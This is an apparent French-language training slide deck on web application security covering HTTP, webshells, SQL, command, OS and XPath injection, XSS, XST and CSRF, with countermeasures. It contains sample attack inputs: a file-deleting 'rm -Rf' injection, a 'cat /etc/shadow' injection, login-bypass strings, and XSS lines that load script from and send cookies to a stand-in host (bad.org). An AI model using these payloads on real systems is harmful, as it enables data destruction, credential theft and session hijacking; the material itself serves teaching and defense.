sécurité des applications web-level1

LOGO

Sécurité des Applications WEB

niveau 1

Attaques Cybernétiques

Tarek MOHAMED CEH,CHFI,ESCP

[email protected]

Plan

I. Introduction Statistiques et évolution des failles liées au Web selon CENZIC, GARTNER, Zone-H et OWASP.

Evolution des attaques applicatives.

Qui sont les hackers ?

II. Les technologies web Architecture d’une application WEB.

le protocole http.

Mythes et réalités de sécurité web.

L’application web la porte la plus facile pour les hackers.

Les WebShells.

III. Les technologies web Terminologies essentielles.

Les attaques en injection (SQL Injection /command Injection/OS injection/Xpath injection/….)

Les attauques Cross site scripting/Cross-Site Request Forgery/.

Les attaques sur les sessions (Cache Poisoning/Hijacking/ Mauvaise gestion des sessions et de l’authentification….)

Les vulnérabilités d’authentification et l’autorisation (Brute force/ insuffisance d’authentification / insuffisance d’autorisation/ Escalation de privilège/ Référence directe non sécurisée à un objet …..)

Plan

La manipulation des fichiers (Remote File Include /Remote File upload/Path Manipulation/Directory traversal/Directory indexing….)

Les attaques logiques (denie de service/Abus de fonctionnalité/ insuffisance anti-automation…).

Attaques sur la configuration standard (Mauvaise configuration/configuration par défaut/mot de passe par défaut..)

L’attaque de Phishing.

Les attaques réseaux (DOS/DDOS/DNS cache poisonning)

Travaux pratiques : Manipulation et simulations de dizaines d’attaques web.

IV. Les Bonnes pratiques du développement sécurisé et d’administration de plate forme d’hébergement.

Bonnes pratiques de développement sécurisé.

Bonnes pour l’administration des sites web.

Bonnes pratiques pour la sécurité des plateformes web.

Travaux pratiques : correction des vulnérabilités.

Introduction

Au cours du processus de développement, la majorité se concentre sur l’enrichissement des fonctionnalités, sur l’accélération du processus de développement et sur la réduction des coûts, tout en négligeant les mauvaises conséquences de ce rythme de développement sur la sécurité du produit.

Les attaquants prennent le dessus et trouvent de plus en plus de succès en exploitant les failles et les trous laissés par les développeurs.

Risques les plus connus dans les applications Web : • SQL Injection, • Cross Site Scripting, • La manipulation de variables, • L’exploitation des mauvaises configurations , • L’exploitation de certaines sections comme «J’ai oublié mon mot de passe», • La mauvaise interprétation d’URL.

Introduction

Introduction: statistiques

Source : Zone-H


Source : Zone-H

Année 2011


Source : Zone-H

Novembre 2011

Introduction: Evolution des attaques applicatives

Fonctionnalité

Sécurité

Facilité d'utilisation


75 %

90 %

25 %

10 %

% Attaques % Dépenses

Etude du GARTNER 2003

75% des attaques ciblent le niveau Applicatif 66% des applications web sont vulnérables

Application Web

Eléments Réseaux

Etude du SANS (septembre 2009) http://www.sans.org/top-cyber-security-risks/

3 sur 4 sites web d’affaire

sont vulnérables à des

attaques


Source : Rapport Cenzic – 1er semestre 2009


Introduction: Qui sont les hackers ?

White Hats :professionnels de la

sécurité informatique effectuant des

tests d'intrusions en accord avec leurs

clients et la législation en vigueur afin

de qualifier le niveau de sécurité de

systèmes.(security analysts)

Black Hats :créateurs de virus, cyber-

espions, cyber-terroristes ou cyber-escrocs,

agissant la plupart du temps hors-la-loi dans

le but soit de nuire, de faire du profit ou

d'obtenir des informations. (crackers)

Gray Hats :Les personnes qui

travaillent à la fois offensive et défensive à des différentes reprises

Suicide Hackers :Les

personnes qui auront pour but de

faire désactiver les infrastructures

essentielles pour une «cause» et ne

pas s'inquiéter face à 30 ans de

prison pour leurs actions

Introduction: Hacktivisme

• hacktivisme est un acte de promotion d’une agenda par le

piratage qui se manifeste spécialement par le defacement ou la

désactivation des sites web.

• Comprend les pirates avec un programme social ou politique.

• Pirater des sites pour faire passer un message.

• Certains sites agissant fortement à la manière de script kiddies,

s'auto-proclament hacktivistes sans aucun fondement.

Les technologies web

Architecture Web

•ASP

•Java

•PHP

•JSP

•Perl

•CGI

•…

•ADO

•ODBC

•…

•SQL Server

•Oracle

•MySql

•Postgres

•…

APPLICATION WEB

•Microsoft IIS

•Apache

•…

Serveur WEB BD

Le protocole HTTP

http://www.le-site.com/

Requête GET /index.html HTTP/1.0 Host : www.le-site.com

HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Date: Sun, 9 Fev 2006 10:46:17 GMT Content-length: 324 Content-type: text/html Last-modified: Tue, 14 Dec 2005 16:38:08 GMT Connection: close <blank line> <html> <head></head> <body> Bienvenu dans le Site. </body> </html>

Le protocole HTTP

Les Méthodes HTTP

GET Renvoie le contenu du document indiqué, peut placer des paramètres dans l’entête de la requête

HEAD Retourne l’information de l’entête du document (Taille de fichier, date de modification, version du serveur)

POST Demande un document comme GET, peut traiter le document comme s’il était un script et lui envoi des données, peut placer des paramètres

PUT Inscrit des données dans le contenu du document

DELETE Efface le document indiqué

OPTIONS Demandes des informations sur les options disponibles sur communication

TRACE Cette méthode demande au serveur de retourner ce qu'il a reçu, dans le but de tester et effectuer un diagnostic sur la connexion.

CONNECT Demande une connexion au serveur relais pour établir une communication via un tunnel (exemple SSL)

Le protocole HTTP

Les réponses HTTP Code de réponse donné par le serveur au client: -100-199 Informationnel 100 : Continue (le client peut envoyer la suite de la requête), ... -200-299 Succès de la requête client 200: OK, 201: Created, 204 : No Content, ... -300-399 Redirection de la Requête client 301: Redirection, 302: Found, 304: Not Modified, 305 : Use Proxy, ... -400-499 Requête client incomplète 400: Bad Request, 401: Unauthorized, 403: Forbidden, 404: Not Found -500-599 Erreur Serveur 500: Server Error, 501: Not Implemented, 502: Bad Gateway, 503: Out Of Resources (Service Unavailable)

Le protocole HTTP

Application Web

http:// www.le-site.com/client/ login.php? login=acheteur&password=pass2006

http://www.le-site.com/client/login.php?login=acheteur&password=pass2006

•Microsoft IIS

•Apache

•…

•ASP

•Java

•PHP

•JSP

•Perl

•CGI

•…

•ADO

•ODBC

•…

•SQL Server

•Oracle

•MySql

•Postgres

•…

Serveur Web

DB

Requête

Le protocole HTTP

Les types de paramètres:

Variables GET: Elles sont données dans l’URL de

demande

Variables POST: Fournies par un formulaire.

Variables Cookies: Variables conservées par le

navigateur sur son disque dur et généralement

fournies par le serveur.

Le protocole HTTP

Les variables GET

Décrites dans l’URL

http ://www.google.com/search ?p=html&hl=fr

Ici 2 variables p et hl, avec les valeurs html et

fr.

Généralement provenant d’une interrogation

directe

Dans le cas présent, plutôt rare, il s’agit

d’envoi par formulaire(method=GET)

Le protocole HTTP

Les variables POST

Remplies par un formulaire

Utilisées quand on a un grand volume de donn´ees `a

envoyer

Utilisées quand on a un grand nombre de variables

Non tracées par les journaux des daemons (hormis

modules spécifiques)

Traitement particulier des variables Hidden qui sont

cachées

pour l’utilisateur, mais pas pour le navigateur.

Le protocole HTTP

Les variables cookies:

Notion de valise de variables stockées sur le client

Transmises de manière transparente dans la requête

C’est le serveur qui est sens´e positionner ces

variables pour une durée limitée

Un serveur ne peut généralement (sauf faille de

sécurité) demander a accéder qu’aux variables : • Qu’il a lui-même positionnées

• Qu’une machine de son domaine a positionnées (et si celle-ci l’a

autorise)

• Qu’une machine d’un domaine de confiance a positionnées (si

celle-ci l’a autorisé)


Mythe N°1 « Sans demande particulière, le développeur me fournira une solution sécurisée »

Sans des précautions particulières ne sont pas prises, l’application

web n’est pas sécurisé.

Il est fort probable que des vulnérabilités existent dans l’application

web et qu’elles puissent impacter la confidentialité, l’intégrité ou la

disponibilité de l’application et des données traitées.

Ce qui est vrai pour tout type d’application l’est encore plus pour une

technologie à l’origine conçue pour permettre un accès totalement

libre aux informations, et donc où les mécanismes d’authentification,

de gestion de session et de contrôle d’accès ne sont pas natifs.

Le donneur d’ordre doit donc faire en sorte que les bonnes pratiques

de sécurité soient comprises et appliquées par le maître d’œuvre, puis

se doter des moyens de contrôler le niveau de sécurité de

l’application


Mythe N°2 « Seuls des génies de l’informatique savent exploiter les failles des applications Web »

Les failles de sécurité au sein des applications Web sont le plus souvent

faciles à exploiter. Un attaquant n’a souvent besoin que d’un simple

navigateur Web pour identifier et exploiter des failles de sécurité.

Des outils complémentaires, comme des logiciels de proxy locaux, capables

d’intercepter les requêtes entre le navigateur et le serveur Web sont

disponibles gratuitement sur Internet.

Les technologies Web reposent en outre sur un ensemble de protocoles,

langages, et architectures ouverts, dont les spécifications sont librement

accessibles.

N’importe qui peut donc étudier ces référentiels et les flux échangés entre

l’application Web et le client, pour identifier des failles d’implémentation ou

de conception.


Mythe N°3 « Mon site Web est sécurisé puisqu’il est protégé par SSL »

La technologie SSL a été conçue pour éviter que des données sensibles,

comme des données de paiement, soient transmises « en clair » sur Internet,

et les sites commerciaux arborent aujourd’hui tous un logo « site sécurisé par

un certificat SSL ».

Lors de l’explosion du e- commerce, les medias ont expliqué qu’un

internaute ne devait se considérer sur un site de confiance que si le fameux

cadenas s’affichait dans la barre d’état du navigateur Web.

La dérive vers le mythe du « Mon site est sécurisé puisque il est protégé par

SSL » s’explique donc facilement.

SSL est un mécanisme de sécurité nécessaire pour protéger la confidentialité

et l’intégrité des données échangées entre le client et le serveur,

il n’est pas suffisant pour protéger totalement l’application Web, notamment

des attaques contenues dans le flux Web envoyé par le client au serveur, qui

passent donc dans le tuyau « SSL ».


Mythe N°4 : « Je suis protégé contre les attaques, j’ai un firewall »

Un firewall efficace dans la plupart des cas pour empêcher des accès non

autorisés à l’infrastructure hébergeant les applications Web, comme les

services réseau des systèmes d’exploitation ou des bases de données, et sont

donc nécessaires.

Malheureusement, ils sont insuffisants pour assurer la sécurité d’une

application web, car les failles applicatives sont exploitées via des canaux de

communication normaux et nécessaires au bon fonctionnement de

l’application, et donc autorisés par le pare- feu.

Problème essentiel ses dernières années: applicatif

-90% des tests intrusifs : applicatif

-≃ 100% des cas : présence de vulnérabilités exploitables

Pourquoi ?

Domaine en forte évolution (Web 2.0, Web Services ...)

Trop peu de sensibilisation des développeurs à la sécurité

Traitement des aspects sécurité trop tardif

Manque de temps et de budget

⇒ Mise en production avec des vulnérabilités exploitables.

L’application web la porte la plus facile pour les hackers

Classiques: atteinte à l'image de la cible

-Défiguration du site web

-Récupération et diffusion d'informations client.

⇒ Exploitations itératives des vulnérabilités.

Plus vicieux: serveur web = serveur rebond

-Prise de contrôle du serveur web

-Rebond sur des équipements internes ou tierces

⇒ Déploiement de nouvelles applications: webshells

L’application web la porte la plus facile pour les hackers

Webshell ?

Le WebShell est une porte ouverte dans une application ou serveur

web.

Simple script PHP, ASP, JSP,PERL etc.

Accessible via une URL à partir d’un navigateur web.

Exécutant des actions systèmes sous l'identité du serveur web.

Permettant le rebond en interne ou vers des sites tiers à travers HTTP.

Exécution de commandes systèmes sur le serveur web.

Permet de prendre un contrôle totale sur un serveur.

Impacts:

Défiguration du site web.

Récupération et diffusion d'informations client.

Vol de session utilisateurs.

Prise de contrôle totale du serveur web.

Rebond sur des équipements internes ou tierces.

Déploiement de portes dérobées: webshells.

Webshell ?

Firewall

80 HTTP

Webshell

Spam

Base des

données

Serveur

d’applications

Routeur/commutateu

r

Webshell ?

http://www.google.fr/imgres?imgurl=http://adn-cdn2.avadeo.net/actualite/images/Usage-unique/2009/grandes/serveur-via-nsd7800.jpg&imgrefurl=http://www.adnpc.net/actualite/6896-via-nsd7800-un-serveur-de-stockage-pour-tpe.html&usg=__mIhBNxePb6rV1fLE-Wmi94kkMi4=&h=467&w=300&sz=28&hl=fr&start=4&zoom=1&um=1&itbs=1&tbnid=kGbAhZuxQ2CJMM:&tbnh=128&tbnw=82&prev=/images%3Fq%3Dserveur%26um%3D1%26hl%3Dfr%26sa%3DN%26tbs%3Disch:1

http://www.google.fr/imgres?imgurl=http://hacker-piratage.webobo.biz/bas/h/a/c/imgbas_hacker-piratage.jpg%3F1282833406&imgrefurl=http://hacker-piratage.webobo.biz/&usg=__YeW-V-rXZwmDmjEYZtdZ-umiDU8=&h=315&w=320&sz=20&hl=fr&start=19&zoom=1&um=1&itbs=1&tbnid=IJBD2LHdTsidXM:&tbnh=116&tbnw=118&prev=/images%3Fq%3Dhacker%26um%3D1%26hl%3Dfr%26sa%3DN%26tbs%3Disch:1

http://images.google.com/imgres?imgurl=http://www.espacetrain.com/visit/interdit.jpg&imgrefurl=http://www.espacetrain.com/index.php%3Fpage%3Dvisit/visite&h=256&w=256&sz=5&tbnid=1iugoMtiBcsJ:&tbnh=107&tbnw=107&hl=fr&start=1&prev=/images%3Fq%3Dinterdit%26hl%3Dfr%26lr%3D%26c2coff%3D1%26sa%3DG






http://www.google.fr/imgres?imgurl=http://vins.a.pagesperso-orange.fr/mail.gif&imgrefurl=http://vins.a.pagesperso-orange.fr/Sommaire.htm&usg=__LuUx48ehSPIqFy1BtxwXt2KJFx4=&h=319&w=481&sz=6&hl=fr&start=4&zoom=1&um=1&itbs=1&tbnid=7oWCP1l7lC2g7M:&tbnh=86&tbnw=129&prev=/images%3Fq%3Dmail%26um%3D1%26hl%3Dfr%26tbs%3Disch:1

http://www.google.fr/imgres?imgurl=http://www.alpha-geek.fr/public/HP/HP_MSS_1.jpg&imgrefurl=http://www.alpha-geek.fr/post/2008/03/07/%255BBillet-sponsporise%255D-HP-MediaSmart-Server-le-serveur-domestique-pour-tous&usg=__17MbeYZcJfbE0nBPPtuUfzzVClU=&h=600&w=390&sz=114&hl=fr&start=9&zoom=1&um=1&itbs=1&tbnid=1_UiW822BTM8KM:&tbnh=135&tbnw=88&prev=/images%3Fq%3Dserveur%26um%3D1%26hl%3Dfr%26tbs%3Disch:1

http://www.google.fr/imgres?imgurl=http://www.alpha-geek.fr/public/HP/HP_MSS_1.jpg&imgrefurl=http://www.alpha-geek.fr/post/2008/03/07/%255BBillet-sponsporise%255D-HP-MediaSmart-Server-le-serveur-domestique-pour-tous&usg=__17MbeYZcJfbE0nBPPtuUfzzVClU=&h=600&w=390&sz=114&hl=fr&start=9&zoom=1&um=1&itbs=1&tbnid=1_UiW822BTM8KM:&tbnh=135&tbnw=88&prev=/images%3Fq%3Dserveur%26um%3D1%26hl%3Dfr%26tbs%3Disch:1

http://www.google.fr/imgres?imgurl=http://www.eurinfor.fr/images/Switch%2520-%2520hub%252016%2520ports.jpg&imgrefurl=http://www.eurinfor.fr/switch-hub-16-ports-10100.html&usg=__G5men9NMZ86pbBYSWpX-fGeNnw0=&h=300&w=300&sz=6&hl=fr&start=1&zoom=1&um=1&itbs=1&tbnid=hPuiVtg4rIZTEM:&tbnh=116&tbnw=116&prev=/images%3Fq%3Dswitch%26um%3D1%26hl%3Dfr%26tbs%3Disch:1



Vulnérabilités dans les socles applicatifs (CMS).

Mauvais filtrages des entrées utilisateurs (injection SQL, XSS/CSRF)

Mauvais filtrage des extensions de fichiers pour les uploads

Inclusion de fichiers (File include).

Compromission d'une interface d'administration (Brute force,mot de

passe banale).

Une fois le Shell est déployé, on peut exécuter de commandes

systèmes, prise de contrôle totale.

Webshell ?

Les attaques applicatives sont bien réelles:

• Parfois facile à mettre en œuvre.

• Outils existants (C99, R57 ...)

Les attaques ne proviennent pas toujours de l'extérieur:

• Les serveurs web peuvent être atteints depuis l'interne

• Les attaquants ne sont pas toujours ceux que l'on croit

(MACARON)

Webshell ?

Les attaques web

Menace-Une action ou un événement qui pourrait compromettre la

sécurité. Une menace est une violation potentielle de la sécurité

Vulnérabilité - ou faille est l’existence une faiblesse dans un système

informatique au niveau de la code source ou la conception, permettant à

un attaquant de porter atteinte à l'intégrité de ce système

Exploit –Un exploit est un programme qui permet d'exploiter une

vulnérabilité de sécurité dans un système d'exploitation ou un logiciel, il est

employé par les hackers afin de prendre le contrôle total ou partiel d'un

ordinateur. Attaque - Un assaut sur la sécurité du système qui dérive d'une menace

intelligente. Une attaque est une action qui viole la sécurité.

Script kiddie - passent l'essentiel de leur temps à essayer d'infiltrer des

systèmes, en utilisant des scripts ou programmes mis au point par d'autres.

Terminologies essentielles

Les attaques web

Injection

Injection

•Envoyer à une application des données générant un comportement non attendu.

L’injection

•Utilisent les chaines et les interpretent comme des commandes

•SQL, OS Shell, LDAP, XPath, etc…

Les Interpréteurs

•Enormément d’applications y sont sensibles

•Même s’il est très simple de s’en affranchir….

L’injection SQL est toujours commune

•Souvent très sévère. Le plupart du temps l’ensemble des données de la base sont lisibles ou modifiables.

•Cela peut même aller jusqu’au schéma de la base, les comptes ou un accès OS….

Impact

SQL Injection

technique qui permet aux attaquants d’injecter des requêtes SQL directement sur la base de données qui se trouve derrière un serveur Web, en manipulant l’entrée « INPUT » à une application. Exemple : sur une page d’authentification « login.asp », l’utilisateur est amené à saisir un Nom d’utilisateur « User1 » et un mot de passe « pass2012 », cette opération se traduit sous forme d’un requête SQL : SELECT * FROM Utilisateur WHERE nom= ‘User1' and mot_passe=‘pass2012’

SQL Injection

Cette requête doit retourner à l’application un ou plusieurs

champs à partir de la base de données. Supposons que l’utilisateur

saisit la valeur du nom d’utilisateur la valeur « or 1=1-- » la

requête sera sous la forme

SELECT * FROM Utilisateur WHERE Utilisateur = or 1=1-- and mot_passe =''

SQL Injection

Dans le cas de SQL Server, « -- » est utilisé pour mettre un commentaire jusqu’à la fin de la ligne, la requête serait alors SELECT * FROM Utilisateur WHERE username= or 1=1 Cette requête recherche dans la base de données les champs dont le nom d’utilisateur est vide en réponse à la condition. La requête va retourner tous les champs de la table utilisateur et l’attaquant serait authentifié. L’attaquant a réussi ainsi à s’authentifier sans avoir pour autant utilisé de nom d’utilisateur ni de mot de passe.

DB

User:

Pass:

‘ or 1=1 #

connection.php

Admin.php

Etc…

Exemple

SQL Injection

Accès

avec les

droits

de

l’administrateur

Exemple

SQL Injection

SQL INJECTION – Comment se protéger

Recommandations

1. Se passer des interpréteurs,

2. Utiliser une interface permettant de préparer les requêtes (ex,

prepared statements, or les procédures stockées),

3. Encoder toutes les données fournies par l’utilisateur avant de les

passer à l’interpréteur

Toujours effectuer une validation de type “white liste” sur les

données utilisateurs.

Minimiser les privilèges dans les bases pour limiter l’impact de la

faille.

Solution:

Il est très simple d’éviter l’SQL injection durant la phase de développement de l’application. Il est nécessaire de vérifier tous les champs INPUT qui seront saisis par l’utilisateur avant de construire la requête SQL. La meilleur technique est de supprimer tous les INPUT indésirables et de n’accepter que celles qui sont prévu. Cette opération de vérification est plus effective lorsqu’elle se fait côté serveur. L’autre méthode est d’éviter l’usage de requêtes dynamiques et ce en remplaçant les requêtes par des procédures déjà stockées ou bien par la collecte de variables à partir d’une base de données.

Il y a des fonctions implémentée selon le langage de programmation : - Bin_param() – Perl - CreateParameter() – ASP (ADO Command Objects ) - mysql_stmt_bin_param() – PHP - CallableStatements et PreparedStatements -- JAVA


Solution: Les procédures stockées

Les procédures stockées permettent d’éviter l’SQL

Injection parce que les INPUT du côté client ne sont

plus utilisées pour créer des requêtes dynamiques.

Les procédures stockées sont des groupes

précompilés de requêtes SQL, cette procédure

accepte les INPUT sous forme de paramètres ce qui

permet d’éviter la construction de requêtes

dynamiques.


Solution: La vérification des INPUT par des JavaScript

Ce procédé ne permet pas à l’attaquant d’entrer des données malicieuses directement dans le champs INPUT mais ce n’est pas suffisant pour éviter l’SQL Injection.

Le script côté client ne vérifie que les INPUT côté navigateur ce qui ne garantit pas que les données prescrites ne seront pas modifiées au cours du chemin vers le serveur. Il y a des outils qui permettent de capturer les requêtes et de les changer avant de les envoyer au serveur, l’attaquant peut aussi injecter des instructions dans les variables de la requête, et ceci ne peut pas être vérifié par le script côté client.


Solution: Les servlets Java

Les servlets sont vulnérables si les champs INPUT ne sont pas

vérifiés et si la requête est construite dynamiquement. Mais les servlets Java ont certains mécanismes pour prévenir l’SQL

Injection comme CallableStatements et PreparedStatements. C’est comme les procédures stockées elles permettent d’éviter les requêtes dynamiques.

Try { Connection conn = DriverManager.getConnection("connect string"); String command_sql = "INSERT INTO tablesname VALUES(?, ?,?)"; PreparedStatement ps = conn.prepareStatement(command_sql); ps.setString(nom, s1); ps.setString(prenom, s2); ps.setInt(age, s3); ps.executeUpdate(); …


Command Injection

L'attaque injection de commandes consiste :

- A injecter et exécuter des commandes spécifiées par l'attaquant

dans l'application vulnérable.

- Toutefois, les commandes sont exécutées sur le serveur cible

et l’ attaquant ayant un accès partiel ou totale sur tout le

serveur d’hébergement.

- - l'attaquant peut ajouter son propre code pour le code existant

pour prolonge la fonctionnalité par défaut de l'application sans

la nécessité d'exécuter des commandes système.

44

<?php

echo system("ls -1 *.".$_GET['ext']);

listing.php

?>

/listing.php?ext=php;cd/;rm+-Rf+*

1

cnx.php

index.php

connectBase.php

listing.php

2 ls -1 *. php;cd/;rm+-Rf+*

3

4

/

5

Command Injection

Example Language: Java

...

String ping= request.getParameter ("cmd");

java.lang.Runtime.getRuntime().exec(ping);

...

Un attaquant d'exécuter des commandes arbitraires avec des

privilèges élevés à travers l'application en injectant par exemple dans l’entrée ping une code arbitraire par exemple « 10.10.10.10|cat /etc/shadow » pour afficher tous les mots des passes des utilisateurs systéme en MD5.

Command Injection

Injection OS

L'attaquant

envoie une

requête

malveillante

contenant

OScommand

Exécute

OS command

Application vulnérable au

injection de commande OS

Falsification

Des fichiers

Virus

Opération

Non autorisé

Autres

Information

Leak

Attaquant Site web

Injection OS

Injection OS:

Technique utilisée pour exploiter les sites Web en

exécutant des commandes du système d'exploitation par

le biais de la manipulation de la demande d'entrée.

Exemple:

http://example /cgibin/showInfo.pl?name=John&template=/bin/ls|

http://example /cgibin/showInfo.pl?name=John&template=temp1.txt URL d’origine

OS Command

Patterns vulnérables pour injection OS:

Pour définir les vulnérabilités d’injection de commande système travers une application, il faut définir la relation entre le code source d’une application et le système d'exploitation.

L'application utilisant les fonctions du système d'exploitation sous-jacent. En Java en utilisant l'objet d'exécution: java.lang.Runtime.

En NET :System.Diagnostics.Process.Start sont utilisés pour appeler des commandes OS.

En PHP on peut chercher des appels tels que exec () ou passthru () et c….

Injection OS

Les menaces possible:

Voir, falsifier ou supprimer des fichiers stockés sur le serveur

• Divulgation d'informations sensibles, la falsification des

fichiers de configuration..

Manipuler le système

• Arrêt OS, ajouter /supprimer des comptes utilisateurs

Télécharger et exécuter des programmes malveillants

• Infection virale, ver et bot, implémentation de backdor

Rendre le système de point de départ pour attaquer d'autres

• Déni de service, spamming,…

Injection OS

Solution:

Évitez d'utiliser des fonctions qui pourraient appeler des

commandes shell.

Lorsque vous utilisez des fonctions qui pourraient

appeler des commandes shell, vérifiez toutes les

paramètres d’entrées que ne contenant pas des

commandes système.

Injection OS

XPath Injection:

XPath injection: Technique d’attaque utilisée pour exploiter des sites Web qui construisent des requêtes XPath à partir des entrées fourni par l'utilisateur.

Exemple:

Même principe que du SQL Injection.

XPath: langage utilisé pour traiter des fichiers XML.

XPath Injection

Exemple:

XPath Injection

<?xml version="1.0" encoding="utf-8"?>

<Employees>

<Employee ID="1">

<FirstName>ALI</FirstName>

<LastName>saleh</LastName>

<UserName>ALI</UserName>

<Password>AliSecret</Password>

<Type>Admin</Type>

</Employee>

<Employee ID="2">

<FirstName>MED</FirstName>

<LastName>Salem</LastName>

<UserName>med</UserName> <Password>MedSecret</Password>

<Type>User</Type>

</Employee>

</Employees>

Exemple:

XPath Injection

VB:

Dim FindUserXPath as String FindUserXPath =

"//Employee[UserName/text()='" & Request("Username") &

"' And Password/text()='" & Request("Password") & "']"

C#:

String FindUserXPath; FindUserXPath =

"//Employee[UserName/text()='" + Request("Username") +

"' And Password/text()='" + Request("Password") + "']";

Exemple:

XPath Injection

Username: blah' or 1=1 or 'a'='a

Password: blah

//Employee[UserName/text()='blah' or 1=1 or 'a'='a' And

Password/text()='blah']

Logically this is equivalent to:

//Employee[(UserName/text()='blah' or 1=1) or ('a'='a' And

Password/text()='blah')]

Cross site scripting

&

Cross-Site Request Forgery

Cette technique consiste a injecté du java script, VB, ActiveX,

par le bais du navigateur de l’utilisateur dans le but d’accéder

a des informations, des cookies, configuration …

L'attaque XSS touche principalement l'utilisateur, et permet

même dans certaines cas d'exécuter des commandes aléatoires

sur la machine.

Il n'y a pas de moyen de protection efficace côté client que de

désactiver l'exécution des scripts java, ActiveX ce qui gêne

vraiment la navigation.

Cross site scripting(XSS)

Ces données sont peuvent être:

Stockées en base,

Réfléchies depuis une entrée d’une page Web (champ de

formulaire, champ caché, URL, …).

Envoyées directement à un client Riche (Javascript, Flash, …)

Virtuellement toute application Web est vulnérable

Essayez cela dans votre navigateur

• javascript:alert(‘’XSS’’);

• javascript:alert(document.cookie);

Impact:

Vol des sessions utilisateur, de données sensibles…,

redirection vers un site d’hameconnage ou autre code

malveillant.


Tunis

Aucune page ne correspond à : Tunis

Moteur de recherche

Scénario classique


Chercher

Moteur de recherche

<script>alert(“Test")</script>">

Scénario classique


Chercher

Annonce:

Email :

Envoyer Annuler

Internet

<script>document.location=‘’http://www.

attaque.com/virus.exe</script>

Attaquant

[email protected]


Internet

http://www.attaque.com/virus.exe

victime

WWW.attaquant.com


http://images.google.fr/imgres?imgurl=http://metroclinica.com.mx/images/Sida%206.jpg&imgrefurl=http://www.20six.co.uk/Too_Much_Beer/archive/2005/01/&h=1063&w=918&sz=534&tbnid=mza9HT0bfVdlZM:&tbnh=150&tbnw=129&hl=fr&start=1&prev=/images?q=sida&svnum=10&hl=fr&lr=

1.EXEMPLE XSS

nom

Smith<script>alert(document.cookie)</script>

mail

[email protected]

Bonjour Smith


29

1.Exemple XSS Attaque stockée sur le serveur web

XSS envoyé par le pirate Smith <script

src=http://bad.org/c.js>

</script>

XSS

XSS Application

SGBD Web

nom

Smith<script src=http://bad.org/c.js></script>

mail

[email protected]


30


XSS envoyé par le pirate

l’accès à une ressource provoque l’exécution du XSS admin.

1 GET liste_inscrits.php

XSS

Application

Web

Smith <script

src=http://bad.org/c.js> </script>

XSS

SGBD

2

Smith <script src=http://bad.org/c.js></script>


31





XSS 3

Application

Web

Smith <script src=http://bad.org/c.js> </script>

XSS

SGBD

2 Smith <script src=http://bad.org/c.js></script>

GET http://bad.org/c.js

bad.org


32





XSS 3


Application

Web


XSS

SGBD

2

document.write(‘<img src=http://bad.org/c.php?’+document.cookie+’ width=1>’)

4

c.js

bad.org


33





XSS 3

Application

Web


XSS

SGBD

2 5


document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>')

GET http://bad.org/c.php?idsess=a2345effb9ccd78

4

c.js

bad.org


34





XSS 3

Application

Web


XSS

SGBD

2 5


vol de session idsess=a2345effb9ccd78

6

document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>')

4

GET http://bad.org/c.php?idsess=a2345effb9ccd78

c.js

bad.org


35

2. Exemple XSS Attaque réfléchie

Pirate place un XSS (mail, lien dans page web)

1

XSS

2

XSS

1


36

2.Exemple XSS Attaque réfléchie

Pirate place un XSS (mail, lien dans page web) Internaute : envoie le XSS au serveur (clic sur un lien dans

mail/page, téléchargement automatique d une ressource)

1

2

XSS

3

XSS

1

XSS

2

XSS

3


37

2. Exemple XSS Attaque réfléchie

Pirate place un XSS (mail, lien dans page web) Internaute : envoie le XSS au serveur (clic sur un lien dans


Serveur web : reçoit et retourne le XSS

1

2

XSS

3

XSS

4

1

XSS

XSS

2

XSS

3

4

XSS


38

2. Exemple XSS Attaque réfléchie Pirate place un XSS (mail, lien dans page web)

Internaute : envoie le XSS au serveur (clic sur un lien dans


Serveur web : reçoit et retourne le XSS

Navigateur : exécute le XSS

1

2

XSS

3

XSS

4

1

XSS

XSS

2

XSS

3

4

XSS


Cross Site Tracing (XST)

Un attaquant peut contourner l’attribut « HTTP Only cookies» pour voler les informations contenus dans les cookies via le Cross Site tracing (XST).

TRACE est une méthode HTTP qui peut être envoyée au serveur. Le serveur renvoie au navigateur du client tout ce qu’il y avait dans la requête TRACE.

Dans un site utilisant les cookies, l’information du cookie est envoyée au serveur à chaque requête, si on envoie une requête TRACE dans une URL pour un site pareil, le serveur va renvoyer toutes les informations du cookie vers le navigateur.


Scénario (XST): Dans une situation similaire au cas décrit pour l’XSS, mais dans ce cas le «

HTTP Only cookies » est activé. L’attaquant construit un lien qui contient un script qui fait appel à la méthode TRACE, quand un utilisateur clique sur le lien, une requête TRACE avec les informations du cookies sont envoyés au serveur. Le serveur renvoie ainsi les informations du cookie au script dans le navigateur; supposant que ce script contient du code malicieux qui envoie ces informations à l’attaquant. Ainsi l’attaquant a réussi à voler les cookies quoique le « HTTP Only Cookies » soit activé.

Le « HTTP Only cookies » permet d’éviter l’accès direct aux cookies par les attaquants mais ces derniers sont aussi capables de le chercher à travers des méthodes indirectes.

L’XST peut être évité en désactivant la méthode TRACE sur le serveur Web.


(AntiSamy)

XSS– Contre mesures

Recommandations

Supprimer la faille

• Ne pas inclure de contenu fourni par l’utilisateur dans la page de

sortie !!!

Défenses possibles

1. Encoder toutes les entrées et sorties utilisateurs

2. Effectuer de la validation de type « white liste » pour les données

utilisateurs entrantes qui sont inclues dans une page.

3. Pour des grosses portions de code HTML fourni par un utilisateur,

utiliser le filtre OWASP Anti-Sammy de manière à nettoyer l’HTML

Solution: L’XSS peut être évité dès la phase de développement de l’application. Il devrait

valider tous les INPUT et les OUTPUT vers (et en provenance de) l’application, éliminer tous les caractères spéciaux pourrant être utilisés dans un script. L’XSS peut être évité si l’application remplace les caractères spéciaux par ceux

inscrit ci-dessous avant de les afficher sur le navigateur : < < > > ( ( ) ) # # & &

Il y a des fonctions déjà disponibles suivant le langage utilisé HtmlEncode() – ASP Htmlentities() – PHP Taglibs ou la classe javax.swing.text.html – J2EE escapeHTML() – Perl


Solution:

Une autre méthode permet de prévenir l’XSS avec moins de codage comparé à la méthode de validation des INPUT et des OUTPUT, en effet, Internet Explorer 6 possède l’attribut « HTTP Only Cookies» qui peut être activer pour les cookies. L’utilisation de cet attribut rend les cookies inaccessibles par n’importe quel scripts.


Cross Site Request Forgery (CSRF)

• C’est une attaque ou le navigateur de la victime génère une requête vers une application Web vulnérable

• Cette vulnérabilité est causée par la capacité que les navigateurs ont d’ envoyer automatiquement des données d’authentification (session ID, IP adresse, comptes de domaine windows, ..) dans chaque requête.

• Que se passerait-il si un attaquant pouvait utiliser votre souris pour effectuer des clicks sur votre site de banque en ligne a votre place.

